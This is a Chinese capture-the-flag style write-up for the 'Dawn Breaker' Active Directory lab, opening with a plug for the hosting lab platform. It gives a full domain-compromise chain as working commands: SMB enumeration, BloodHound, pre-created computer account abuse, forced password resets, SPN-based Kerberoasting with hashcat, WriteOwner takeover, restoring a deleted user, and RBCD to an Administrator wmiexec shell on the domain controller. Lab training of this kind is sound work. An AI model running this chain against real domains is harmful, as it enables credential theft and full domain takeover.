网络安全在线就能打的内网靶场推荐 & Dawn Breaker 单域靶场 WP

靶场链接:

无境的目标,是成为网安人必备的靶场,无境一直在持续上架靶场环境,涵盖了网络安全 技术方向的各个分类,在线内网靶场、web靶场、cve复现、SRC场景应有尽有。

https://bdziyi.com/ulab/lab.html?page=target-detail&id=152

Dawn Breaker

信息收集

SMB Welcome 可读

bash 复制代码
nxc smb 192.168.111.10 -u '' -p ' ' --shares

读取 Letter.txt 文件

将这个信息作为用户名和密码进行尝试

bash 复制代码
nxc smb 192.168.111.10 -u 'Yangyang' -p 'Hello' --shares

使用 bloodhound-python 进行信息收集

bash 复制代码
bloodhound-python -c All -u 'Yangyang' -p 'Hello' -ns 192.168.111.10 -d sec.lab -dc ad.sec.lab --zip --dns-tcp

但是线路到了 LAHAYO@SEC.LAB 就断开了,接着再分析是否有路线到达域控或者域管理员,看到有一个未知的节点可以RBCD到域控

第二条线路

经过分析发现 Rover 这个账户很特殊,它关联着一个计算机账户,SOLARIS@SEC.LAB 可以重置它的密码,但是现在还没有 SOLARIS@SEC.LAB 相关的信息

在目前这个情况下想要获取到 SOLARIS@SEC.LAB 有两个方法可以尝试:

  1. Pre-Created Computer Account
  2. Timeroasting

获取 SOLARIS@SEC.LAB 的控制权

发现 SOLARIS@SEC.LAB 其实是 Pre-Created Computer Account,利用之前的域账户就能获取到其 Kerberos 凭据,另外 Pre-Created Computer Account 的密码与账户名全小写一样

重置 SOLARIS@SEC.LAB 自身密码

bash 复制代码
impacket-changepasswd -altuser 'SOLARIS$' -altpass 'solaris' -newpass '123456' -reset 'sec.lab/SOLARIS$'@ad.sec.lab -k -dc-ip 192.168.111.10

获取 Rover 域用户的控制权

重置 Rover 的密码

bash 复制代码
bloodyAD -u 'Solaris$' -p '123456' -d sec.lab --host 192.168.111.10 set password Rover 123456

验证账户不成功,根据报错来判断账户还没启用

启用 Rover 账户

bash 复制代码
bloodyAD -u 'Solaris$' -p '123456' -d sec.lab --host 192.168.111.10 remove uac Rover -f ACCOUNTDISABLE

Jinzhou 安全组

AddSelf

Rover 用户是可以将自身加入 Jinzhou@SEC.LAB

bash 复制代码
bloodyAD -u Rover -p 123456 --host 192.168.111.10 -d sec.lab add groupMember Jinzhou Rover

AddSPN

根据ACL可以通过给图上四个用户添加 servicePrincipalName 来达到利用 kerberoasting 破解密码

bash 复制代码
bloodyAD -u 'Rover' -p '123456' -d sec.lab --host 192.168.111.10 set object Jinxi servicePrincipalName -v 'http/web'
bash 复制代码
nxc ldap 192.168.111.10 -u 'Rover' -p '123456' --kerberoasting KERBEROASTING
bash 复制代码
hashcat KERBEROASTING /usr/share/wordlists/rockyou.txt

Black Shores 安全组

AddMember

根据 JINXI@SEC.LAB 的ACL,将 Rover 加入 Black ShoresI@SEC.LAB

bash 复制代码
bloodyAD -u 'Jinxi' -p 'Jinxin' --host ad -d sec.lab add groupMember 'Black Shores' Rover

WriteOwner

根据ACL,Black ShoresI@SEC.LAB 对 TheShorekeeper 有 WriteOwner 权限

PS:TheShorekeeper 用户是禁用状态,可以使用 nxc 或者 查询 userAccountControl 属性来验证,这里就略过了

bash 复制代码
bloodyAD -u 'Rover' -p '123456' --host ad -d sec.lab set owner TheShorekeeper Rover

bloodyAD -u 'Rover' -p '123456' --host ad -d sec.lab add genericAll TheShorekeeper Rover

bloodyAD -u 'Rover' -p '123456' --host ad -d sec.lab set password TheShorekeeper 123456

bloodyAD -u 'Rover' -p '123456' -d sec.lab --host 192.168.111.10 remove uac TheShorekeeper -f ACCOUNTDISABLE

Lahayo 安全组

AddMember

bash 复制代码
bloodyAD -u 'TheShorekeeper' -p '123456' -d sec.lab --host 192.168.111.10 add groupMember Lahayo Rover

接下来就回到上面信息收集部分分析的路径,到这里就断开了,注意

  1. 其实这个场景不止两条路径到达最后的域控

  2. 下图这个节点到底是什么?它可以 RBCD 到域控

  3. 目前的路径无法获取下面的用户权限

Active Directory - Recycle Bin

Active Directory 回收站 是 Windows Server 的一项功能,允许在不从备份还原的情况下,完整恢复误删的 AD 对象。


核心特性

  • 完整恢复:恢复对象的所有属性(如 SID、组权限、密码)。
  • 生命周期
    1. 已删除状态 (Deleted):对象移入回收站,保留所有属性。
    2. 已回收状态 (Recycled):超过"已删除对象生存期"后,属性被剥离,不可简单恢复。
  • 默认状态 :Windows Server 2008 R2 引入,默认禁用,需手动开启且不可逆。

恢复方式

  1. 图形界面 :通过 AD 管理中心 (ADAC) 的 "Deleted Objects" 容器。
  2. 命令行 :使用 PowerShell 命令 Restore-ADObject

查询是否有用户对 "Deleted Objects" 有权限

bash 复制代码
bloodyAD -u Rover -p '123456' -d sec.lab --host 192.168.111.10 get writable

还发现了一个删除状态的用户

查询已删除用户的信息

bash 复制代码
bloodyAD -u Rover -p '123456' -d sec.lab --host 192.168.111.10 get search -c '1.2.840.113556.1.4.2064' --filter '(isDeleted=TRUE)' --attr name,objectSid

Lynae 用户的 objectSid 刚好对于上了未知节点的SID

恢复已删除用户

bash 复制代码
bloodyAD -u Rover -p '123456' -d sec.lab --host 192.168.111.10 set restore Lynae

重置已删除用户的密码和启用用户

bash 复制代码
bloodyAD -u Rover -p '123456' -d sec.lab --host 192.168.111.10 set password Lynae '123456'

bloodyAD -u 'Rover' -p '123456' -d sec.lab --host 192.168.111.10 remove uac Lynae -f ACCOUNTDISABLE

注意!!!

如果出现该报错,说明该用户对已删除对象不存在 LIST | READ 权限,WP 中先把 Rover 用户加入了 Lahayo 安全组,bloodhound 中没有实现对该 ACL 的分析,需要自己手动分析

RBCD

bash 复制代码
bloodyAD -u 'Lynae' -p '123456' -d sec.lab --host 192.168.111.10 add computer Web 123456

bloodyAD -u 'Lynae' -p '123456' -d sec.lab --host 192.168.111.10 add rbcd 'AD$' 'Web$'
bash 复制代码
impacket-getST -spn 'CIFS/AD' -impersonate 'Administrator' 'sec.lab/Web$:123456' -k -dc-ip 192.168.111.10

export KRB5CCNAME=Administrator@CIFS_AD@SEC.LAB.ccache

impacket-wmiexec -k -no-pass AD -dc-ip 192.168.111.10 -codec gbk